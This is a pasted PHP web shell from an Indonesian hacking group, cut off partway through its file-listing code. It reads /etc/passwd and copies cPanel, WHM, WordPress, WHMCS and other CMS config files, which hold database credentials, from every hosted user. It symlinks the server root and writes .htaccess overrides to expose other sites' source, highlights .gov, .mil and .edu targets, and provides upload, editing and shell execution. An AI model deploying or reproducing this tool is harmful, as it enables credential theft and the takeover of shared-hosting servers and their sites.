· 9 years ago · Jan 16, 2017, 11:04 AM
1<?php
2/* Create By ShaddowHerts
3Greats To All Member Garuda Security Hacker
4*/
5$lang = 'auto';
6$site_charset = 'auto';
7$homedir = './';
8$editcols = 80;
9$editrows = 25;
10$htaccess = '.htaccess';
11$htpasswd = '.htpasswd';
12if (get_magic_quotes_gpc()) {
13 array_walk($_GET, 'strip');
14 array_walk($_POST, 'strip');
15 array_walk($_REQUEST, 'strip');
16}
17if (array_key_exists('image', $_GET)) {
18 header('Content-Type: image/gif');
19 die(getimage($_GET['image']));
20}
21if (!function_exists('lstat')) {
22 function lstat ($filename) {
23 return stat($filename);
24 }
25 $ip = gethostbyname($_SERVER['HTTP_HOST']);
26}
27echo "Server IP:<font color=lime>104.156.56.228".@$ip."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
28$delim = DIRECTORY_SEPARATOR;
29$kernel = php_uname();
30echo $kernel;
31if (function_exists('php_uname')) {
32 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
33} else {
34 $win = ($delim == '\\') ? true : false;
35}
36
37if (!empty($_SERVER['PATH_TRANSLATED'])) {
38 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
39} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
40 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
41} elseif (function_exists('getcwd')) {
42 $scriptdir = getcwd();
43} else {
44 $scriptdir = '.';
45}
46$homedir = relative2absolute($homedir, $scriptdir);
47
48$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
49
50if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
51 $dir = relative2absolute($dir, $_POST['olddir']);
52}
53
54$directory = simplify_path(addslash($dir));
55echo '<center><div id="menu">';
56echo "<hr color='red'>";
57echo "<a href='?'>Home</a>";
58echo "<a href='?dir=$dir&do=config'>Config</a>";
59echo "<a href='?dir=$dir&do=jumping'>Jumping</a>";
60echo "<a href='?dir=$dir&do=adminer'>Adminer</a>";
61echo "<a href='?dir=$dir&do=symlink'>symlink</a>";
62echo "<a style='color: red;' href='?logout=true'>Logout</a>";
63echo "<hr>";
64echo "</div>";
65if(@$_GET['logout'] == true) {
66 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
67 echo "<script>window.location='?';</script>";
68} elseif(@$_GET['do'] == 'upload') {
69 echo "<center>";
70 if($_POST['upload']) {
71 if($_POST['tipe_upload'] == 'biasa') {
72 if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
73 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
74 } else {
75 $act = "<font color=red>failed to upload file</font>";
76 }
77 } else {
78 $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
79 $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
80 if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
81 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
82 $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
83 } else {
84 $act = "<font color=red>failed to upload file</font>";
85 }
86 } else {
87 $act = "<font color=red>failed to upload file</font>";
88 }
89 }
90 }
91 echo "Upload File:
92 <form method='post' enctype='multipart/form-data'>
93 <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
94 <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
95 <input type='file' name='ix_file'>
96 <input type='submit' value='upload' name='upload'>
97 </form>";
98 echo $act;
99 echo "</center>";
100 } elseif(@$_GET['do'] == 'config') {
101 $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
102 $idx = mkdir("idx_config", 0777);
103 $isi_htc = "Options all\nRequire None\nSatisfy Any";
104 $htc = fopen("idx_config/.htaccess","w");
105 fwrite($htc, $isi_htc);
106 while($passwd = fgets($etc)) {
107 if($passwd == "" || !$etc) {
108 echo "<font color=red>Can't read /etc/passwd</font>";
109 } else {
110 preg_match_all('/(.*?):x:/', $passwd, $user_config);
111 foreach($user_config[1] as $user_idx) {
112 $user_config_dir = "/home/$user_idx/public_html/";
113 if(is_readable($user_config_dir)) {
114 $grab_config = array(
115 "/home/$user_idx/.my.cnf" => "cpanel",
116 "/home/$user_idx/.accesshash" => "WHM-accesshash",
117 "/home/$user_idx/public_html/po-content/config.php" => "Popoji",
118 "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
119 "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
120 "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
121 "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
122 "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
123 "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
124 "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
125 "/home/$user_idx/public_html/forum/config.php" => "phpBB",
126 "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
127 "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
128 "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
129 "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
130 "/home/$user_idx/public_html/configuration.php" => "Joomla",
131 "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
132 "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
133 "/home/$user_idx/public_html/wp-config.php" => "WordPress",
134 "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
135 "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
136 "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
137 foreach($grab_config as $config => $nama_config) {
138 $ambil_config = file_get_contents($config);
139 if($ambil_config == '') {
140 } else {
141 $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
142 fputs($file_config,$ambil_config);
143 }
144 }
145 }
146 }
147 }
148 }
149 echo "<center><a href='?dir=$dir/idx_config'><font color=lime>Done</font></a></center>";
150 } elseif(@$_GET['do'] == 'symlink') {
151
152@set_time_limit(0);
153
154echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
155
156@mkdir('sym',0777);
157$htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
158$write =@fopen ('sym/.htaccess','w');
159fwrite($write ,$htaccess);
160@symlink('/','sym/root');
161$filelocation = basename(__FILE__);
162$read_named_conf = @file('/etc/named.conf');
163if(!$read_named_conf)
164{
165echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
166}
167else
168{
169echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
170foreach($read_named_conf as $subject){
171if(eregi('zone',$subject)){
172preg_match_all('#zone "(.*)"#',$subject,$string);
173flush();
174if(strlen(trim($string[1][0])) >2){
175$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
176$name = $UID['name'] ;
177@symlink('/','sym/root');
178$name = $string[1][0];
179$iran = '\.ir';
180$israel = '\.il';
181$indo = '\.id';
182$sg12 = '\.sg';
183$edu = '\.edu';
184$gov = '\.gov';
185$gose = '\.go';
186$gober = '\.gob';
187$mil1 = '\.mil';
188$mil2 = '\.mi';
189$malay = '\.my';
190$china = '\.cn';
191$japan = '\.jp';
192$austr = '\.au';
193$porn = '\.xxx';
194$as = '\.uk';
195$calfn = '\.ca';
196
197if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
198or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
199or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
200or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
201{
202$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
203}
204echo "
205<tr>
206
207<td>
208<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
209</td>
210
211<td>
212'.$UID['name']."
213</td>
214
215<td>
216<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
217</td>
218
219</tr></div> ";
220flush();
221}
222}
223}
224}
225
226echo "</center></table>";
227
228} elseif(@$_GET['do'] == 'adminer') {
229 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
230 function adminer($url, $isi) {
231 $fp = fopen($isi, "w");
232 $ch = curl_init();
233 curl_setopt($ch, CURLOPT_URL, $url);
234 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
235 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
236 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
237 curl_setopt($ch, CURLOPT_FILE, $fp);
238 return curl_exec($ch);
239 curl_close($ch);
240 fclose($fp);
241 ob_flush();
242 flush();
243 }
244 if(file_exists('adminer.php')) {
245 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
246 } else {
247 if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
248 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
249 } else {
250 echo "<center><font color=red>gagal buat file adminer</font></center>";
251 }
252 }
253} elseif(@$_GET['do'] == 'jumping') {
254 $i = 0;
255 echo "<div class='margin: 5px auto;'>";
256 if(preg_match("/hsphere/", $dir)) {
257 $urls = explode("\r\n", $_POST['url']);
258 if(isset($_POST['jump'])) {
259 echo "<pre>";
260 foreach($urls as $url) {
261 $url = str_replace(array("http://","www."), "", strtolower($url));
262 $etc = "/etc/passwd";
263 $f = fopen($etc,"r");
264 while($gets = fgets($f)) {
265 $pecah = explode(":", $gets);
266 $user = $pecah[0];
267 $dir_user = "/hsphere/local/home/$user";
268 if(is_dir($dir_user) === true) {
269 $url_user = $dir_user."/".$url;
270 if(is_readable($url_user)) {
271 $i++;
272 $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
273 if(is_writable($url_user)) {
274 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
275 }
276 echo $jrw."<br>";
277 }
278 }
279 }
280 }
281 if($i == 0) {
282 } else {
283 echo "<br>Total ada ".$i." Kamar di ".$ip;
284 }
285 echo "</pre>";
286 } else {
287 echo '<center>
288 <form method="post">
289 List Domains: <br>
290 <textarea name="url" style="width: 500px; height: 250px;">';
291 $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
292 while($getss = fgets($fp)) {
293 echo $getss;
294 }
295 echo '</textarea><br>
296 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
297 </form></center>';
298 }
299 } elseif(preg_match("/vhosts/", $dir)) {
300 $urls = explode("\r\n", $_POST['url']);
301 if(isset($_POST['jump'])) {
302 echo "<pre>";
303 foreach($urls as $url) {
304 $web_vh = "/var/www/vhosts/$url/httpdocs";
305 if(is_dir($web_vh) === true) {
306 if(is_readable($web_vh)) {
307 $i++;
308 $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
309 if(is_writable($web_vh)) {
310 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
311 }
312 echo $jrw."<br>";
313 }
314 }
315 }
316 if($i == 0) {
317 } else {
318 echo "<br>Total ada ".$i." Kamar di ".$ip;
319 }
320 echo "</pre>";
321 } else {
322 echo '<center>
323 <form method="post">
324 List Domains: <br>
325 <textarea name="url" style="width: 500px; height: 250px;">';
326 bing("ip:$ip");
327 echo '</textarea><br>
328 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
329 </form></center>';
330 }
331 } else {
332 echo "<pre>";
333 $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
334 while($passwd = fgets($etc)) {
335 if($passwd == '' || !$etc) {
336 echo "<font color=red>Can't read /etc/passwd</font>";
337 } else {
338 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
339 foreach($user_jumping[1] as $user_idx_jump) {
340 $user_jumping_dir = "/home/$user_idx_jump/public_html";
341 if(is_readable($user_jumping_dir)) {
342 $i++;
343 $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
344 if(is_writable($user_jumping_dir)) {
345 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
346 }
347 echo $jrw;
348 if(function_exists('posix_getpwuid')) {
349 $domain_jump = file_get_contents("/etc/named.conf");
350 if($domain_jump == '') {
351 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
352 } else {
353 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
354 foreach($domains_jump[1] as $dj) {
355 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
356 $user_jumping_url = $user_jumping_url['name'];
357 if($user_jumping_url == $user_idx_jump) {
358 echo " => ( <u>$dj</u> )<br>";
359 break;
360 }
361 }
362 }
363 } else {
364 echo "<br>";
365 }
366 }
367 }
368 }
369 }
370 if($i == 0) {
371 } else {
372 echo "<br>Total ada ".$i." Kamar di ".$ip;
373 }
374 echo "</pre>";
375 }
376 echo "</div>";
377}
378
379$files = array();
380$action = '';
381if (!empty($_POST['submit_all'])) {
382 $action = $_POST['action_all'];
383 for ($i = 0; $i < $_POST['num']; $i++) {
384 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
385 $files[] = $_POST["file$i"];
386 }
387 }
388} elseif (!empty($_REQUEST['action'])) {
389 $action = $_REQUEST['action'];
390 $files[] = relative2absolute($_REQUEST['file'], $directory);
391} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
392 $files[] = $_FILES['upload'];
393 $action = 'upload';
394} elseif (array_key_exists('num', $_POST)) {
395 for ($i = 0; $i < $_POST['num']; $i++) {
396 if (array_key_exists("submit$i", $_POST)) break;
397 }
398 if ($i < $_POST['num']) {
399 $action = $_POST["action$i"];
400 $files[] = $_POST["file$i"];
401 }
402}
403if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
404 $files[] = relative2absolute($_POST['create_name'], $directory);
405 switch ($_POST['create_type']) {
406 case 'directory':
407 $action = 'create_directory';
408 break;
409 case 'file':
410 $action = 'create_file';
411 }
412}
413if (sizeof($files) == 0) $action = ''; else $file = reset($files);
414
415if ($lang == 'auto') {
416 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
417 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
418 } else {
419 $lang = 'en';
420 }
421}
422
423$words = getwords($lang);
424
425if ($site_charset == 'auto') {
426 $site_charset = $word_charset;
427}
428
429$cols = ($win) ? 4 : 7;
430
431if (!isset($dirpermission)) {
432 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
433}
434if (!isset($filepermission)) {
435 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
436}
437
438if (!empty($_SERVER['SCRIPT_NAME'])) {
439 $self = html(basename($_SERVER['SCRIPT_NAME']));
440} elseif (!empty($_SERVER['PHP_SELF'])) {
441 $self = html(basename($_SERVER['PHP_SELF']));
442} else {
443 $self = '';
444}
445
446if (!empty($_SERVER['SERVER_SOFTWARE'])) {
447 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
448 $apache = true;
449 } else {
450 $apache = false;
451 }
452} else {
453 $apache = true;
454}
455
456switch ($action) {
457
458case 'view':
459
460 if (is_script($file)) {
461
462 /* highlight_file is a mess! */
463 ob_start();
464 highlight_file($file);
465 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
466 $src = str_replace(array('</font>', "\ ", "\ "), array('</span>', '', ''), $src);
467 ob_end_clean();
468 html_header();
469 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
470<hr />
471
472<table>
473<tr>
474<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
475<pre style="margin-top: 0"><code>';
476
477 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\ ";
478 echo '</code></pre>
479</td>
480<td style="text-align: left; vertical-align: top; padding-left: 3pt">
481<pre style="margin-top: 0">' . $src . '</pre>
482</td>
483</tr>
484</table>';
485 html_footer();
486 } else {
487 header('Content-Type: ' . getmimetype($file));
488 header('Content-Disposition: filename=' . basename($file));
489
490 readfile($file);
491 }
492 break;
493case 'download':
494 header('Pragma: public');
495 header('Expires: 0');
496 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
497 header('Content-Type: ' . getmimetype($file));
498 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
499 header('Content-Length: ' . filesize($file));
500
501 readfile($file);
502
503 break;
504
505case 'upload':
506
507 $dest = relative2absolute($file['name'], $directory);
508
509 if (@file_exists($dest)) {
510 listing_page(error('already_exists', $dest));
511 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
512 @chmod($dest, $filepermission);
513 listing_page(notice('uploaded', $file['name']));
514 } else {
515 listing_page(error('not_uploaded', $file['name']));
516 }
517 break;
518
519case 'create_directory':
520
521 if (@file_exists($file)) {
522 listing_page(error('already_exists', $file));
523 } else {
524 $old = @umask(0777 & ~$dirpermission);
525 if (@mkdir($file, $dirpermission)) {
526 listing_page(notice('created', $file));
527 } else {
528 listing_page(error('not_created', $file));
529 }
530 @umask($old);
531 }
532
533 break;
534
535case 'create_file':
536
537 if (@file_exists($file)) {
538 listing_page(error('already_exists', $file));
539 } else {
540 $old = @umask(0777 & ~$filepermission);
541 if (@touch($file)) {
542 edit($file);
543 } else {
544 listing_page(error('not_created', $file));
545 }
546 @umask($old);
547 }
548 break;
549case 'execute':
550 chdir(dirname($file));
551 $output = array();
552 $retval = 0;
553 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
554
555 $error = ($retval == 0) ? false : true;
556
557 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
558
559 if ($error) {
560 listing_page(error('not_executed', $file, implode("\
561", $output)));
562 } else {
563 listing_page(notice('executed', $file, implode("\
564", $output)));
565 }
566 break;
567case 'delete':
568 if (!empty($_POST['no'])) {
569 listing_page();
570 } elseif (!empty($_POST['yes'])) {
571
572 $failure = array();
573 $success = array();
574
575 foreach ($files as $file) {
576 if (del($file)) {
577 $success[] = $file;
578 } else {
579 $failure[] = $file;
580 }
581 }
582 $message = '';
583 if (sizeof($failure) > 0) {
584 $message = error('not_deleted', implode("\
585", $failure));
586 }
587 if (sizeof($success) > 0) {
588 $message .= notice('deleted', implode("\
589", $success));
590 }
591 listing_page($message);
592
593 } else {
594
595 html_header();
596
597 echo '<form action="' . $self . '" method="post">
598<table class="dialog">
599<tr>
600<td class="dialog">';
601 request_dump();
602 echo "\t<b>" . word('really_delete') . '</b><p>';
603 foreach ($files as $file) {
604 echo "\t" . html($file) . "<br />";
605 }
606 echo ' </p>
607 <hr />
608 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
609 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
610</td>
611</tr>
612</table>
613</form>';
614 html_footer();
615 }
616 break;
617case 'rename':
618 if (!empty($_POST['destination'])) {
619 $dest = relative2absolute($_POST['destination'], $directory);
620 if (!@file_exists($dest) && @rename($file, $dest)) {
621 listing_page(notice('renamed', $file, $dest));
622 } else {
623 listing_page(error('not_renamed', $file, $dest));
624 }
625 } else {
626 $name = basename($file);
627 html_header();
628 echo '<form action="' . $self . '" method="post">
629<table class="dialog">
630<tr>
631<td class="dialog">
632 <input type="hidden" name="action" value="rename" />
633 <input type="hidden" name="file" value="' . html($file) . '" />
634 <input type="hidden" name="dir" value="' . html($directory) . '" />
635 <b>' . word('rename_file') . '</b>
636 <p>' . html($file) . '</p>
637 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
638 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
639 <hr />
640 <input type="submit" value="' . word('rename') . '" />
641</td>
642</tr>
643</table>
644<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
645</form>';
646 html_footer();
647 }
648 break;
649
650case 'move':
651 if (!empty($_POST['destination'])) {
652
653 $dest = relative2absolute($_POST['destination'], $directory);
654
655 $failure = array();
656 $success = array();
657
658 foreach ($files as $file) {
659 $filename = substr($file, strlen($directory));
660 $d = $dest . $filename;
661 if (!@file_exists($d) && @rename($file, $d)) {
662 $success[] = $file;
663 } else {
664 $failure[] = $file;
665 }
666 }
667 $message = '';
668 if (sizeof($failure) > 0) {
669 $message = error('not_moved', implode("\
670", $failure), $dest);
671 }
672 if (sizeof($success) > 0) {
673 $message .= notice('moved', implode("\
674", $success), $dest);
675 }
676 listing_page($message);
677
678 } else {
679
680 html_header();
681
682 echo '<form action="' . $self . '" method="post">
683
684<table class="dialog">
685<tr>
686<td class="dialog">';
687 request_dump();
688 echo "\t<b>" . word('move_files') . '</b>
689 <p>';
690 foreach ($files as $file) {
691 echo "\t" . html($file) . "<br />";
692 }
693 echo ' </p>
694 <hr />
695 ' . word('destination') . ':
696 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
697 <input type="submit" value="' . word('move') . '" />
698</td>
699</tr>
700</table>
701<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
702</form>';
703 html_footer();
704 }
705 break;
706case 'copy':
707 if (!empty($_POST['destination'])) {
708
709 $dest = relative2absolute($_POST['destination'], $directory);
710 if (@is_dir($dest)) {
711 $failure = array();
712 $success = array();
713 foreach ($files as $file) {
714 $filename = substr($file, strlen($directory));
715 $d = addslash($dest) . $filename;
716 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
717 $success[] = $file;
718 } else {
719 $failure[] = $file;
720 }
721 }
722 $message = '';
723 if (sizeof($failure) > 0) {
724 $message = error('not_copied', implode("\ ", $failure), $dest);
725 }
726 if (sizeof($success) > 0) {
727 $message .= notice('copied', implode("\
728", $success), $dest);
729 }
730 listing_page($message);
731 } else {
732
733 if (!@file_exists($dest) && @copy($file, $dest)) {
734 listing_page(notice('copied', $file, $dest));
735 } else {
736 listing_page(error('not_copied', $file, $dest));
737 }
738 }
739 } else {
740 html_header();
741 echo '<form action="' . $self . '" method="post">
742<table class="dialog">
743<tr>
744<td class="dialog">';
745 request_dump();
746 echo "\
747<b>" . word('copy_files') . '</b>
748 <p>';
749 foreach ($files as $file) {
750 echo "\t" . html($file) . "<br />";
751 }
752 echo ' </p>
753 <hr />
754 ' . word('destination') . ':
755 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
756 <input type="submit" value="' . word('copy') . '" />
757</td>
758</tr>
759</table>
760<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
761</form>';
762 html_footer();
763 }
764 break;
765case 'create_symlink':
766 if (!empty($_POST['destination'])) {
767 $dest = relative2absolute($_POST['destination'], $directory);
768 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
769 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
770 if (!@file_exists($dest) && @symlink($file, $dest)) {
771 listing_page(notice('symlinked', $file, $dest));
772 } else {
773 listing_page(error('not_symlinked', $file, $dest));
774 }
775 } else {
776 html_header();
777 echo '<form action="' . $self . '" method="post">
778<table class="dialog" id="symlink">
779<tr>
780 <td style="vertical-align: top">' . word('destination') . ': </td>
781 <td>
782 <b>' . html($file) . '</b><br />
783 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
784 <label for="checkbox_relative">' . word('relative') . '</label>
785 <input type="hidden" name="action" value="create_symlink" />
786 <input type="hidden" name="file" value="' . html($file) . '" />
787 <input type="hidden" name="dir" value="' . html($directory) . '" />
788 </td></tr><tr>
789 <td>' . word('symlink') . ': </td><td>
790 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
791 <input type="submit" value="' . word('create_symlink') . '" />
792 </td>
793</tr>
794</table>
795<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
796</form>';
797 html_footer();
798 }
799 break;
800
801case 'edit':
802
803 if (!empty($_POST['save'])) {
804
805 $content = str_replace("\ \ ", "\ ", $_POST['content']);
806
807 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
808 listing_page(notice('saved', $file));
809 } else {
810 listing_page(error('not_saved', $file));
811 }
812
813 } else {
814
815 if (@is_readable($file) && @is_writable($file)) {
816 edit($file);
817 } else {
818 listing_page(error('not_edited', $file));
819 }
820 }
821
822 break;
823
824case 'permission':
825
826 if (!empty($_POST['set'])) {
827
828 $mode = 0;
829 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
830 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
831 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
832
833 if (@chmod($file, $mode)) {
834 listing_page(notice('permission_set', $file, decoct($mode)));
835 } else {
836 listing_page(error('permission_not_set', $file, decoct($mode)));
837 }
838 } else {
839
840 html_header();
841
842 $mode = fileperms($file);
843
844 echo '<form action="' . $self . '" method="post">
845
846<table class="dialog">
847<tr>
848<td class="dialog">
849 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
850
851 <hr />
852
853 <table id="permission">
854 <tr>
855 <td></td>
856 <td style="border-right: 1px solid black">' . word('owner') . '</td>
857 <td style="border-right: 1px solid black">' . word('group') . '</td>
858 <td>' . word('other') . '</td>
859 </tr>
860 <tr>
861 <td style="text-align: right">' . word('read') . ':</td>
862 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
863 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
864 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
865 </tr>
866 <tr>
867 <td style="text-align: right">' . word('write') . ':</td>
868 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
869 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
870 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
871 </tr>
872 <tr>
873 <td style="text-align: right">' . word('execute') . ':</td>
874 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
875 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
876 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
877 </tr>
878 </table>
879
880 <hr />
881
882 <input type="submit" name="set" value="' . word('set') . '" />
883
884 <input type="hidden" name="action" value="permission" />
885 <input type="hidden" name="file" value="' . html($file) . '" />
886 <input type="hidden" name="dir" value="' . html($directory) . '" />
887
888</td>
889</tr>
890</table>
891
892<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
893
894</form>
895
896';
897
898 html_footer();
899
900 }
901
902 break;
903
904default:
905
906 listing_page();
907
908}
909
910/* ------------------------------------------------------------------------- */
911
912function getlist ($directory) {
913 global $delim, $win;
914
915 if ($d = @opendir($directory)) {
916
917 while (($filename = @readdir($d)) !== false) {
918
919 $path = $directory . $filename;
920
921 if ($stat = @lstat($path)) {
922
923 $file = array(
924 'filename' => $filename,
925 'path' => $path,
926 'is_file' => @is_file($path),
927 'is_dir' => @is_dir($path),
928 'is_link' => @is_link($path),
929 'is_readable' => @is_readable($path),
930 'is_writable' => @is_writable($path),
931 'size' => $stat['size'],
932 'permission' => $stat['mode'],
933 'owner' => $stat['uid'],
934 'group' => $stat['gid'],
935 'mtime' => @filemtime($path),
936 'atime' => @fileatime($path),
937 'ctime' => @filectime($path)
938 );
939
940 if ($file['is_dir']) {
941 $file['is_executable'] = @file_exists($path . $delim . '.');
942 } else {
943 if (!$win) {
944 $file['is_executable'] = @is_executable($path);
945 } else {
946 $file['is_executable'] = true;
947 }
948 }
949
